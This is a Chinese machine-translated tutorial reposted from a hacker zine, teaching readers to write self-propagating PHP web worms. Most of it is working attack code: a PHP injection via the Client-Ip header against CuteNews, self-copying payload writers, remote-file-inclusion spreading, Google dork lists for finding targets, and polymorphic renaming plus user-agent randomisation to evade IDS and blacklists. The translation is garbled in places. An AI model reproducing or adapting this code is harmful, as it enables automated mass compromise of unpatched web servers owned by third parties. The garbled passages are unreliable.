当前位置:七道奇文章资讯安全技术菜鸟入门
日期:2009-06-12 14:44:00  来源:本站整理

WEB蠕虫编写艺术[菜鸟入门]

赞助商链接



  本文“WEB蠕虫编写艺术[菜鸟入门]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

作者:未知

译者:riusksk(泉哥:http://riusksk.blogbus.com)

根源:国外闻名黑客杂志《hack in zine》

本文发表于《黑客防线》

*导言    

*自动化  

*汇集目标

*绕过IDS,多态性和通讯      

*结语    

===导言===                              

   本文以一些未公开的WEB蠕虫为例,这些蠕虫可通过PHP漏洞脚本举行自我传达.该蠕虫叫World Cant Wait ,在11.2被公布在不计其数个信息告示栏和博客上,以此反对布什政权.原先它操纵的是一个私有漏洞,就是近来曝出的关于CuteNews 1.4的php代码履行漏洞.这个蠕虫可自动探求目标,并自我繁衍.在蠕虫病毒暴虐的同时,街上的人们还高喊着抗议口号.在此我并不打算冒着触犯罪律的风险而去破坏一些系统,而是将通过阐述这项技术,并公布相关的模块代码,以此来推动将来PHP蠕虫的发展.
固然本文中成心留有一些错误,并且仅供应部份代码,但凭此你也是可以写出一个具有一定破坏力的蠕虫病毒的,我们这样做的目的主如果为了避免媒体把我们描写成一些具有暴力和破坏力的黑客.编写蠕虫的美好与才干是表目前编写代码本身,而非它可以黑掉多少系统.目前让我们一同去摸索此中的奥妙吧,同时请记着:代码无罪!

===自动化===                        

发掘漏洞并编写一个可自动汇集目标和操纵的引擎.WEB漏洞具有可猜测性,通过搜索引擎可很简单地做到,并且通过构造一系列的HTTP requests便可实现自动化攻击.

while ($stop == false) {
 $list = gather_targets();
 for ($i=0;$i<count($list);$i++) {
 echo " [x] targetting $list[$i]...\n";
 if (!is_infected($list[$i])) infect($list[$i]);
 }
 $stop = true;
}

为了让WEB蠕虫举行自我传达,你需求将操纵历程自动化,这可以通过利用PHP socket函数与web server成立衔接,并发送http数据.下面的函数演示了若何利用PHP脚本来衔接服务器,发送数据并返反呼应信息:   

function make_request($domain, $packet) {
 $fp = @fsockopen($domain, 80, $errno, $errstr, 10);
 if (!$fp) return false;
 fwrite($fp, $packet);
 while (!feof($fp)) $text.= fgets($fp);
 fclose($fp);
}                                                       

接下来的工作就仅仅只是构造一个合适的HTTP request,以操纵漏洞,并举行自我复制以传染系统.当有人对文章发表评论时,CuteNews便将信息写入data/flood.db.php文件中.通过Client-Ip HTTP header传输数据,你便可以向这个文件注入PHP代码.

$packet = str_replace("\n","\n\r",
"POST
$location/example2.php?subaction=showcomments&id=1128188313&archive=&start_from=
&ucat=& HTTP/1.1
Accept: */*\r\nAccept-Language: en
Accept-Encoding: gzip, deflate
Client-Ip: <?php echo \"arbitrary php code to be executed!!\"; ?>
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6
(KHTML, like Gecko) Safari/412.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: close
Host: $domain

name=haxitup&mail=&comments=j00+haxed+%3Alaughing%3A&submit=Add+My+Comment&
subaction=addcomment&ucat=&show=

";                            

 假如我们成立了这些恳求,那么便可以通过Client-Ip将PHP代码写入到flood.db.php文件中,然后我们便可以通过一个正规的GET恳求来履行代码了.既然可以将PHP代码履行的历程自动化,那么我们便可以开始着手预备去若何编写病毒代码,以实现其自我繁衍并植入payload的功效.下面的例子将复制整个蠕虫代码漏洞服务器上的sekret.php文件中,以备运行.你可以在Client-Ip未端增添一些payload,通过运行sekret.php使其在news.txt顶端中增添一新标题,让每个存在漏洞的CuteNews站点都发表一新闻帖.

$source = str_replace("\$", "\\\$",str_replace("\"", "\\\"",str_replace("\\",
"\\\\",file_get_contents($_SERVER['PHP_SELF']))));
...
Client-Ip: <?php \$fp=fopen(\"sekret.php\", \"w\");fwrite(\$fp,
\"$source\");fclose(\$fp); ?>\r\n ...
...
for ($i=0;$i<2;$i++) { $bob = make_request($domain, $packet); }
make_request($domain, "GET $location/data/flood.db.php HTTP/1.1\r\nHost:
$domain\r\nConnection: close\r\n\r\n");
别的传染方法:PHP文件包含

关于将PHP文件包含漏洞的处理自动化的技术也并非很难,普通我们粗劣写出来的PHP脚本都广泛含有<?php include $page; ?>这样一段代码,该代码存在远程PHP代码履行漏洞,我们可以将一小段PHP代码作为GET 变量'page'的值,然后通过URL举行传输.这样我们的通过URL来发送HTTP GET request 以使其在别的服务器上自行运行,蠕虫便可以在WEB的根目录下的一些地方举行自我复制了.

$fp = fopen("sekret.txt", "w");
fwrite($fp, file_get_contents($_SERVER['PHP_SELF']));
fclose($fp);
$url = $_SERVER['SCRIPT_URI'];
make_request($domain, "GET /test.php?path=$url HTTP/1.1\r\nHost:
$domain\r\nConnection: close\r\n\r\n");

别的传染方法:SQL

别的传染方法:JavaScript / XSS

===汇集目标===

 在worm开辟期间,最为明智的做法是将实际的操纵代码与目标汇集代码相别脱离来.你可以在自己的机械上或局域网内,利用近似下列的代码举行测试:

function gather_targets() {
 return array("http://localhost/cutenews");
}
基于web蠕虫的企图,通过搜索引擎去探求潜在的目标是很有必要的.你可以很简单地写出一些恳求,并通过URLs让网站履行特定软件.这可以通过网页汇集代码来产生一组包含可被worm传染的目标数组,以此实现其自动化.

 $search = array("inurl:flood.db.php", "\"powered by cutenews v1.3\"",
"\"/cutenews/remote_headlines.php\"", "\"powered by CuteNews\" \"2003..2005
CutePHP\"",  "inurl:\"/newsarchive.php?archive\"");
 $query = $search[rand(0, count($search)-1)];
 
通过构造HTTP requests,你便可以从搜索引擎中得到搜索后果,然后从返回的网址中探求符合的目标.

$fp = fsockopen("谷歌.com", "80");
 fwrite($fp, "GET /search?q=" . urlencode($query) .
"&sourceid=mozilla-search&start=0&start=0&ie=utf-8&oe=utf-8&client=firefox-a&rls
=org.mozilla:en-US:official HTTP/1.1\r\n
Host: www.谷歌.com\r\n
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)
Gecko/20050511/1.0.4\r\n
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Connection: close\r\n\r\n");
 while (!feof($fp) AND (strpos($text, "2005 Google") === false)) {
 $text.= fgets($fp);
 }
 fclose($fp);
 
 while (!(strpos($text, "<a href=\"http://") === false)) {
 $starttext = substr($text, strpos($text, "<a href=\"http://") + 9);
 $thenumber = substr($starttext, 0, strpos($starttext, "\""));
 $text = str_replace("<a href=\"$thenumber\">", "x", $text);  
 if (strpos($thenumber, "谷歌") === false) $vuln[] = $thenumber;
 } 
 print_r($vuln);

===绕过IDS,多态性和通讯===

你可以通过查找和替换以上代码,以调整上面写得对比匆忙的代码,使其便于用在每个新的迭代蠕虫病毒中.PHP与别的语言类似,有供应一些可交换,并可产生相同后果的函数别名.目前考虑一下,通过增添外部的垃圾代码以混合文件大小和通过对代码举行编码的类似之处.除了改变程序中的变量名之外,还可以将数字及字符串以差别的方法来表达.

$random++;              ->        $random+= -2 + 3;
$start = "go";          ->        $start = chr(103) . chr(111);
$num = count($result);  ->        $num = sizeof($result);
下面的代码是改于29a病毒杂志上公布的变量名变形的源代码:

<?php
$changevars=array('changevars', 'content', 'newvars', 'counti','countj',
'trash');
srand((double)microtime()*1000000);
$content=fread(fopen(__FILE__,'r'),filesize(__FILE__));
$counti=0;
while($changevars[$counti]) {
 $content=str_replace($changevars[++$counti], trash('',0), $content);
}
fwrite(fopen(__FILE__,'w'),$content);

function trash($newvar, $countj) {
 do { $newvar.=chr(rand(97,122)); } while (++$countj<rand(5,15));
 return $newvar;
}
?>
将http request中的数据集随机化,以使其具有不可猜测性.通过挑选一个随机的user-agent,以使其看起来像真实的users.大概你也可以调整实际的POST数据,使其不能在每个表单名中利用相同的名称(比方上面的cutenews一例).

假如蠕虫病毒依靠像谷歌这样的搜索引擎来汇集目标,那么就应当考虑将恳求多样化了,以削减被加入黑名单而被查杀的大概性.inurl(译注:谷歌的搜索号令)可以用来搜索很多的页面,但intitle也是相当不错的.将http request中的user-agent随机化,大概结合多个搜索引擎来稠浊它们,以此延伸worm的生命期.过去和将来的迭代蠕虫病毒的通讯开辟方法主要置力于attacked boxes,蠕虫病毒分离的通讯方法也可以帮忙worm自动变形,通过发现(fuzzing)新的exploits大概反馈新的攻击方法便可以使其自动变形.

结语                          

     在通过Php脚本漏洞传达的WEB蠕虫病毒的编写世界中,World Cant Wait作为一个简单的proof-of-concept而被制造出来.固然蠕虫代码不能摧毁系统(上面的代码乃至未经改正就不能运行),但这个PoC可用于改革成各种payload.之前脚本蠕虫的雏形只是用来汇集jumpbox,捕捉密码,大概DDoS主流系统,但是实际上也有些人是通过它来修补脆弱软件中的安全漏洞;也有人正蕴酿着如安在各留言板,博客和信息栏上大举注水,以此轰炸站点和操作谷歌的网站收录及别的spidering系统.这种情形大概是永无停止的,但真正的天才是表目前创造力上.大部份人对像编写蠕虫病毒这样的高级编程很感爱好,主如果因为开辟出可自动汇集目标并对其攻击的高效代码具有一定的技术挑衅.没有任何更为可行和完善的编程锻炼,可以比编写蠕虫病毒如此地更为有效和复杂.即便制造病毒在国人的目光中是违法的,但人们对这项技术的爱好仍然长盛不衰,并且已经持续了几十年,并将一向成为黑客文化中的一部份,同时以一种安全坚固的方法来发展它们.


  以上是“WEB蠕虫编写艺术[菜鸟入门]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • WEB蠕虫编写艺术
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .